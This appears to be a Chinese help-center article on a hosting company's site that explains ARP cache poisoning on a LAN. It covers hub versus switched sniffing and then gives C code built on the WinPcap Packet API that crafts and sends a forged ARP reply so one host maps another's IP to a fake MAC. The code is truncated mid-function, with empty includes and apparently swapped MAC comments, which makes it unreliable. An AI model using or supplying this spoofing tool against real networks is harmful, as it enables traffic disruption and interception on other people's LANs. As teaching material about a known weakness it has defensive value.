• <ul id="mayc0"></ul>
    <ul id="mayc0"><center id="mayc0"></center></ul>
    <strike id="mayc0"><input id="mayc0"></input></strike>
    <ul id="mayc0"></ul>
  • 始創于2000年 股票代碼:831685
    咨詢熱線:0371-60135900 注冊有禮 登錄
    • 掛牌上市企業
    • 60秒人工響應
    • 99.99%連通率
    • 7*24h人工
    • 故障100倍補償
    您的位置: 網站首頁 > 幫助中心>文章內容

    實例講解如何對目標進行ARP欺騙

    發布時間:  2012/6/17 21:42:10

    以太網內的嗅探sniff對于網絡安全來說并不是什么好事,雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題,但是如果被破壞者利用的話,就對整個網絡構成嚴重的安全威脅。
    ARP緩存表假設這樣一個網絡: 
     

    E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
    borderColorLight=black border=1> —————————— | HUB | —————————— HostA HostB HostC

    其中:
    A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
    B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
    C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
    假設B是屬于一個嗅探愛好者的,比如A機器的ARP緩存:
    C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
    這是192.168.10.1機器上的ARP緩存表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本地的ARP緩存表,找到C的IP地址的MAC地址,那么就會進行數據傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那么A首先要廣播一次ARP請求,當C接收到A 的請求后就發送一個應答,應答中包含有C的MAC地址,然后A接收到C的應答,就會更新本地的ARP緩存。接著使用這個MAC地址發送數據(由網卡附加MAC地址)。因此,本地高速緩存的這個ARP表是本地網絡流通的基礎,而且這個緩存是動態的。
    集線器網絡(Hub-Based)
    很多網絡都是用Hub進行連接的。數據包經過Hub傳輸到其他計算機的時候,Hub只是簡單地把這個數據包廣播到Hub的所有端口上。這就是上面舉例中的一種網絡結構。
    現在A需要發送TCP數據包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那么A將要廣播一個ARP請求,當C接收到這個請求后,就作出應答,然后A更新自己的ARP緩存表。并獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數據包,Ethernet幀中就包含了C的MAC地址。當數據包傳輸到HUB的時候,HUB直接把整個數據包廣播到所有的端口,然后C就能夠接收到A發送的數據包。
    正因為HUB把數據廣播到所有的端口,所以計算機B也能夠收到A發送給C的數據包。這正是達到了B嗅探的目的。因此,Hub-Based的網絡基本沒有安全可言,嗅探在這樣的網絡中非常容易。
    交換網絡(Switched Lan)
    交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數據包進行端口廣播,它將通過自己的ARP緩存來決定數據包傳輸到那個端口上。因此,在交換網絡上,如果把上面例子中的HUB換為Switch,B就不會接收到A發送給C的數據包,即便設置網卡為混雜模式,也不能進行嗅探。
    ARP欺騙(ARP spoofing)
    ARP協議并不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設網絡中,B向A發送一個自己偽造的ARP應答,而這個應答中的數據為發送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP緩存(A可不知道被偽造了)。現在A機器的ARP緩存更新了:
    C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
    這可不是小事。局域網的網絡流通可不是根據IP地址進行,而是按照MAC地址進行傳輸。現在192.168.10.3的MAC地址在A上被改變成一個本不存在的MAC地址,F在A開始Ping 192.168.10.3,網卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結果是什么呢?網絡不通,A根本不能Ping通C!這就是一個簡單的ARP欺騙。
    我們來實現這樣的ARP欺騙。這里需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/),winpcap是一個偉大而且開放的項目。Windows環境下的nmap、snort、windump都是使用的winpcap。

     

    // ARP Sender
    #include "stdafx.h"
    #include "Mac.h" //GetMacAddr(),我寫的把字符串轉換為MAC地址的函數,就不列在這里了
    #include 
    #include 
    #define EPT_IP 0x0800 /* type: IP */
    #define EPT_ARP 0x0806 /* type: ARP */
    #define EPT_RARP 0x8035 /* type: RARP */
    #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
    #define ARP_REQUEST 0x0001 /* ARP request */
    #define ARP_REPLY 0x0002 /* ARP reply */
    #define Max_Num_Adapter 10
    #pragma pack(push, 1)
    typedef struct ehhdr 
    {
    unsigned char eh_dst[6]; /* destination ethernet addrress */
    unsigned char eh_src[6]; /* source ethernet addresss */
    unsigned short eh_type; /* ethernet pachet type */
    }EHHDR, *PEHHDR;
    typedef struct arphdr
    {
    unsigned short arp_hrd; /* format of hardware address */
    unsigned short arp_pro; /* format of protocol address */
    unsigned char arp_hln; /* length of hardware address */
    unsigned char arp_pln; /* length of protocol address */
    unsigned short arp_op; /* ARP/RARP operation */
    unsigned char arp_sha[6]; /* sender hardware address */
    unsigned long arp_spa; /* sender protocol address */
    unsigned char arp_tha[6]; /* target hardware address */
    unsigned long arp_tpa; /* target protocol address */
    }ARPHDR, *PARPHDR;
    typedef struct arpPacket
    {
    EHHDR ehhdr;
    ARPHDR arphdr;
    } ARPPACKET, *PARPPACKET;
    #pragma pack(pop)
    int main(int argc, char* argv[])
    {
    static char AdapterList[Max_Num_Adapter][1024]; 
    char szPacketBuf[600];
    char MacAddr[6];
    LPADAPTER lpAdapter;
    LPPACKET lpPacket;
    WCHAR AdapterName[2048];
    WCHAR *temp,*temp1;
    ARPPACKET ARPPacket;
    ULONG AdapterLength = 1024;
    int AdapterNum = 0;
    int nRetCode, i;###NextPage###
    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
    {
    printf("Unable to retrieve the list of the adapters!\n");
    return 0;
    }
    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != \0)||(*(temp-1) != \0))
    {
    if (*temp == \0) 
    {
    memcpy(AdapterList,temp1,(temp-temp1)*2);
    temp1=temp+1;
    i++;
    }
    temp++;
    }
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
    wprintf(L"\n%d- %s\n", i+1, AdapterList);
    printf("\n");
    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
    //取第一個網卡(假設啦)
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
    nRetCode = GetLastError();
    printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
    return 0;
    }
    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
    printf("\nError:failed to allocate the LPPACKET structure.");
    return 0;
    }
    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
    if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
    {
    printf ("Get Mac address error!\n");
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
    if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
    ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
    

    本文出自:億恩科技【www.vbseamall.com】

    服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經營性ICP/ISP證:贛B2-20080012
  • 服務器/云主機 24小時售后服務電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
  • 專注服務器托管17年
    掃掃關注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
      0
     
     
     
     

    0371-60135900
    7*24小時客服服務熱線